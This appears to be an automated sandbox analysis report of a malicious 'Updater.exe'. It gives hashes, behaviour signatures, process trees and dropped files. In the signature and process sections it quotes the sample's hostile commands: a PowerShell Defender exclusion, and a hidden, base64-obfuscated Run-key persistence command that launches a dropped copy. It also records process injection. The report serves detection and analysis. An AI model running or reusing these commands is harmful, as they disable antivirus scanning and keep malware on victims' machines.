Analysis
- max time kernel
148s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
19/08/2026, 00:45
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Updater.exe
Resource
win10v2004-20260513-en
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
Updater.exe
Resource
win11ltsc2024-20260710-en
10 signatures
150 seconds
General
- Target Updater.exe
- Size 11.6MB
- Sample260819-a4gapacc75
- SHA256 213c343ab852a0b185a2198677bf48ac0e7372467cce84d813fe8c5ddc7464b7
- MD5 d9636241120eb6b38a28e010dc70fa01
- SHA1 f609394cb065f651b68b29352f1538a4ce19627c
- SHA512 7d647ce3e95c9af05f7395672076ce17267daa3c98d9a9709f2d0565fe6e1ad12a37d7fa71295e736ba79db3bc35b7d54dcba272688266651ef1f3f139bf4851
- SSDEEP 196608:dlzJA5mK4mplH9ugx1lNIdrwkTY3AiK1EIUmh/LRFXddJWiSDxcKdO:dlM4ax1bcJTqK1+6ltWfc
- TLSH T116C6332835D5DC46DCA12B3485B5E7B047B41D8EA920EF0AAFD0BD9B3D36B7E8904127
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4956 powershell.exe 4528 powershell.exe 636 powershell.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation Updater.exe Key value queried \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation sc.exe - Executes dropped EXE 2 IoCs
pid Process 3700 sc.exe 2768 sc.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sc = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$jplqm1=Get-Date;$2layvj=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$1gfl0h=$env:COMPUTERNAME;$odzoie=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHNjLmV4ZQ==')));$jplqm1=Get-Date;& $2layvj -FilePath $odzoie\"" Updater.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2864 set thread context of 4984 2864 Updater.exe 102 PID 3700 set thread context of 2768 3700 sc.exe 111 -
resource yara_rule behavioral1/memory/4984-19-0x0000000140000000-0x00000001440A7000-memory.dmp upx behavioral1/memory/4984-20-0x0000000140000000-0x00000001440A7000-memory.dmp upx behavioral1/memory/4984-35-0x0000000140000000-0x00000001440A7000-memory.dmp upx behavioral1/memory/4984-34-0x0000000140000000-0x00000001440A7000-memory.dmp upx behavioral1/memory/4984-36-0x0000000140000000-0x00000001440A7000-memory.dmp upx behavioral1/memory/4984-37-0x0000000140000000-0x00000001440A7000-memory.dmp upx behavioral1/memory/4984-39-0x0000000140000000-0x00000001440A7000-memory.dmp upx behavioral1/memory/4984-55-0x0000000140000000-0x00000001440A7000-memory.dmp upx behavioral1/memory/2768-78-0x0000000140000000-0x00000001440A7000-memory.dmp upx behavioral1/memory/2768-77-0x0000000140000000-0x00000001440A7000-memory.dmp upx behavioral1/memory/2768-79-0x0000000140000000-0x00000001440A7000-memory.dmp upx behavioral1/memory/2768-76-0x0000000140000000-0x00000001440A7000-memory.dmp upx - Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3700 sc.exe 2768 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2864 Updater.exe 4528 powershell.exe 4528 powershell.exe 4956 powershell.exe 4956 powershell.exe 4956 powershell.exe 3700 sc.exe 636 powershell.exe 636 powershell.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 2864 Updater.exe Token: SeDebugPrivilege 4528 powershell.exe Token: SeDebugPrivilege 4956 powershell.exe Token: SeDebugPrivilege 3700 sc.exe Token: SeDebugPrivilege 636 powershell.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 2864 wrote to memory of 4528 2864 Updater.exe 100 PID 2864 wrote to memory of 4984 2864 Updater.exe 102 PID 2864 wrote to memory of 4984 2864 Updater.exe 102 PID 2864 wrote to memory of 4984 2864 Updater.exe 102 PID 2864 wrote to memory of 4984 2864 Updater.exe 102 PID 4956 wrote to memory of 3700 4956 powershell.exe 108 PID 3700 wrote to memory of 636 3700 sc.exe 109 PID 3700 wrote to memory of 2768 3700 sc.exe 111 PID 3700 wrote to memory of 2768 3700 sc.exe 111 PID 3700 wrote to memory of 2768 3700 sc.exe 111 PID 3700 wrote to memory of 2768 3700 sc.exe 111
Processes
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C:\Users\Admin\AppData\Local\Temp\Updater.exe"C:\Users\Admin\AppData\Local\Temp\Updater.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Updater.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4528
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C:\Users\Admin\AppData\Local\Temp\Updater.exeC:\Users\Admin\AppData\Local\Temp\Updater.exe2⤵PID:4984
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$jplqm1=Get-Date;$2layvj=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$1gfl0h=$env:COMPUTERNAME;$odzoie=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHNjLmV4ZQ==')));$jplqm1=Get-Date;& $2layvj -FilePath $odzoie"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4956 -
C:\Users\Admin\AppData\Roaming\sc.exe"C:\Users\Admin\AppData\Roaming\sc.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Launches sc.exe
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3700 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\sc.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:636
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C:\Users\Admin\AppData\Roaming\sc.exeC:\Users\Admin\AppData\Roaming\sc.exe3⤵
- Executes dropped EXE
- Launches sc.exe
PID:2768
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Network
MITRE ATT&CK Enterprise v16
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- TLSH T10D91EF313275E1D5C8663F031A2D19D093AF4396EA54AF48B25C625EED2604BDB122F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 53KB
- SHA256 d9e2c903ca3530aa279684dbe40c463ab74e688b1b802bb817cdaf633dd119ba
- MD5 707ecf98eb2f302f220b4476a277cebe
- SHA1 c543f0cd4d32f658300487cd3a89ea6d5ecc5fc0
- SHA512 95bd108d4b3d300bd2ccbd25c127719c246820b5563d33a4c35e6cd5421e7b8af8266bb1e65d1d46ad0f550105c93f9c23e9f64f6f54701a58fd2c07fc7e46d8
- SSDEEP 1536:zC+jH04tAHk1/rMrxyNhftflJdvYoqV3CNBQkj20lUst+hOOwUp7bNvv+Epa5bVl:zC+jH04tAHk1jMrxyNhftflJdvYoqV3s
- TLSH T1A9335093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 bc350128c4ae716830830ea20d1f10ee7107a3bb7107755ec64cc43fcbecbdff
- MD5 8fe65108f214dd5f803193dd8bf04f7d
- SHA1 cdf09563b9a981dc885577778235df1516af4226
- SHA512 309c031915589a40666e06fe05edae1e3675fa884f12fd37ae54c8a0fff0b7cc160764fb42a292051bd52c4188fd1b355909c2a1936d0027866726afb738f169
- TLSH T1CE218627B39C8921CC86163A109D9C1176B283C781AECF9FABC0D604A07F988CB21290
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_02p2zs04.old.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\sc.exe
- Size 11.6MB
- SHA256 213c343ab852a0b185a2198677bf48ac0e7372467cce84d813fe8c5ddc7464b7
- MD5 d9636241120eb6b38a28e010dc70fa01
- SHA1 f609394cb065f651b68b29352f1538a4ce19627c
- SHA512 7d647ce3e95c9af05f7395672076ce17267daa3c98d9a9709f2d0565fe6e1ad12a37d7fa71295e736ba79db3bc35b7d54dcba272688266651ef1f3f139bf4851
- SSDEEP 196608:dlzJA5mK4mplH9ugx1lNIdrwkTY3AiK1EIUmh/LRFXddJWiSDxcKdO:dlM4ax1bcJTqK1+6ltWfc
- TLSH T116C6332835D5DC46DCA12B3485B5E7B047B41D8EA920EF0AAFD0BD9B3D36B7E8904127
- MD5 SHA1 SHA512 SSDEEP TLSH